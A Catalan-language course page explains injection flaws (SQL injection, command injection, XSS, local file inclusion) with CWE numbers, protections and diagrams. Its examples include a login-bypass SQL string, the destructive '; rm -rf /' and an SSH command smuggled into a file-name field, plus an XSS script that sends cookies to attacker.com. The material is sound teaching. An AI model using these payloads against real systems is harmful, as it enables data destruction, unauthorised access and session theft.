Injection

Injection #

  • Durant molt de temps va ser top1
  • Pot pendre varies formes però la causa de fons és una nula valdiació ni pretractament de les dades introduides pels usuaris abans de ser utilitzades per l'aplicació.
  • L'injecció és una tècnica utilitzada per a introduir (injectar) codi maliciós en una aplicació web.
  • Es basa en aprofitar vulnerabilitats en la validació o sanització de les dades d'entrada per a introduir codi que serà executat pel servidor o pels clients.

CWE #

  • CWE-79: XSS Cross Site Scripting
  • CWE-89: SQL injection
  • CWE-73: External Control of File Name or Path.

Protecció #

  • Assegurar que totes les dades d'entrada són verificades i sanitzades adequadament:
    • Validar el tipus de dades, la longitud i el format de les dades d'entrada
    • Filtrar qualsevol caràcter especial o codi introduït pel possible atacant
    • Mantenir les aplicacions i els seus components actualitzats amb les últimes patches i actualitzacions de seguretat.

Tipus d'injeccions #

SQL injection #

  • Aprofitar vulnerabilitats en les consultes SQL per a introduir codi maliciós en la base de dades
  • Un atacant podria introduir comandes SQL addicionals per a obtenir o alterar informació de la base de dades.

Exemple: #

  • Suposem que tenim una aplicació web amb un formulari on els usuaris poden introduir el seu nom d'usuari i contrasenya per a accedir al sistema. El formulari envia les dades d'accés a una pàgina "login.php", la qual executa una consulta SQL per a comprovar si les dades són correctes. La consulta podria ser similar a aquesta:
SELECT * FROM users WHERE username = '$username' AND password = '$password';

On "$username" i "$password" són les dades introduïdes pel usuari.

Si l'aplicació no valida adequadament les dades d'entrada, un atacant podria introduir comandes SQL addicionals en el camp "username" o "password". Per exemple, si l'atacant introdueix la següent cadena en el camp "username":

' OR '1'='1
  • La consulta final esdevindria:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '$password';
  • Aquesta consulta sempre retornarà verdadera, ja que '1' sempre serà igual a '1', per la qual cosa l'atacant podrà accedir al sistema sense conèixer les dades reals d'accés.
sequenceDiagram
    participant Usuari as Usuari
    participant Aplicació as Aplicació
    participant Servidor as Servidor
    participant Base de dades as BD
    
    Usuari->>Aplicació: Envia dades d'accés
    Aplicació->>Servidor: Envia dades d'accés
    Servidor->>BD: Executa consulta SQL
    note over Servidor: La consulta inclou comandes SQL\naddicionals introduïdes per l'atacant
    BD->>Servidor: Retorna resultat
    Servidor->>Aplicació: Retorna resultat
    Aplicació->>Usuari: Mostra resultat
    loop Atac reeixit
        Usuari->>Aplicació: Accedeix al sistema
    end

Command injection #

  • La injecció de comandes és un tipus d'atac que consisteix en la introducció de comandes en una interfície que accepta entrades de l'usuari.
  • Aquestes comandes són executades pel sistema de forma no intencionada, amb l'objectiu de modificar el comportament del sistema o accedir a informació confidencial.

Exemple #

  • Un exemple d'injecció de comandes podria ser la introducció d'un comandament maliciós en un formulari d'una aplicació web que permet als usuaris pujar fitxers al servidor. Si l'aplicació no valida adequadament les dades d'entrada, un atacant podria introduir un comandament que permeti als fitxers pujats d'executar-se en el servidor.

  • Per exemple, si l'atacant introdueix la següent cadena en el camp "nom del fitxer":

; rm -rf /
  • El servidor podria interpretar aquesta cadena com un comandament per esborrar totes les carpetes del sistema.

  • Un altre exemple d'injecció de comandes podria ser la introducció d'un comandament que permeti accedir al terminal del servidor. Per exemple, si l'atacant introdueix la següent cadena en el camp "nom del fitxer":

'; ssh root@localhost
  • El servidor podria interpretar aquesta cadena com un comandament per establir una connexió SSH com a usuari "root" al mateix servidor.

  • Per a protegir-se contra aquest tipus d'atacs, és important sanitzar les dades d'entrada i utilitzar declaracions preparades amb paràmetres per a evitar que es puguin introduir comandes malicioses.

  • Aquesta seria una representació gràfica del procés d'injecció de comandes per a accedir al terminal del servidor:

sequenceDiagram
    participant Usuari as Usuari
    participant Aplicació as Aplicació
    participant Servidor as Servidor
    
    Usuari->>Aplicació: Envia dades de pujada de fitxer
    Aplicació->>Servidor: Envia dades de pujada de fitxer
    Servidor->>Aplicació: Valida les dades de pujada
    Servidor->>Aplicació: Executa comandament inclòs en les dades
    note over Servidor: El comandament és maliciós i modifica\nel comportament del sistema
    Aplicació->>Usuari: Mostra resultat de l'execució del comandament
    loop Atac reeixit
        Usuari->>Aplicació: Accedeix a informació confidencial\nque no hauria pogut accedir de forma normal
    end

XSS #

  • L'atacant injecta codi maliciós en una pàgina web que és visitada per altres usuaris.
  • Aquest codi pot ser executat pel navegador dels usuaris de forma no intencionada, amb l'objectiu de modificar el comportament de la pàgina o accedir a informació confidencial dels usuaris.

Exemple #

  • Introducció d'un codi maliciós en un formulari de comentaris d'una pàgina web. Si l'aplicació no valida adequadament les dades d'entrada, un atacant podria introduir una cadena que, un cop executada pel navegador dels usuaris que visualitzen la pàgina, permeti al atacant accedir a les dades d'accés dels usuaris.

Per exemple, si l'atacant introdueix la següent cadena en el camp de comentaris:

<script>
  window.onload = function() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https://attacker.com/steal_data.php", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("data=" + document.cookie);
  };
</script>

Quan un usuari visualitzi la pàgina amb aquest comentari, el seu navegador executarà el codi JavaScript, el qual enviarà les dades de la cookie de l'usuari a una pàgina web controlada per l'atacant.

Local file inclusion #

  • CWE-98
  • Una pàgina web pot incloures una altre. EN php, per exemple, es fa amb l'ordre include('nomfitxer.php'). Pot ser un problema greu si deixem d'alguna manera que sigui l'usuari qui decideixi que ha de carregar (Per exemple amb un paràmetre via GET/POST)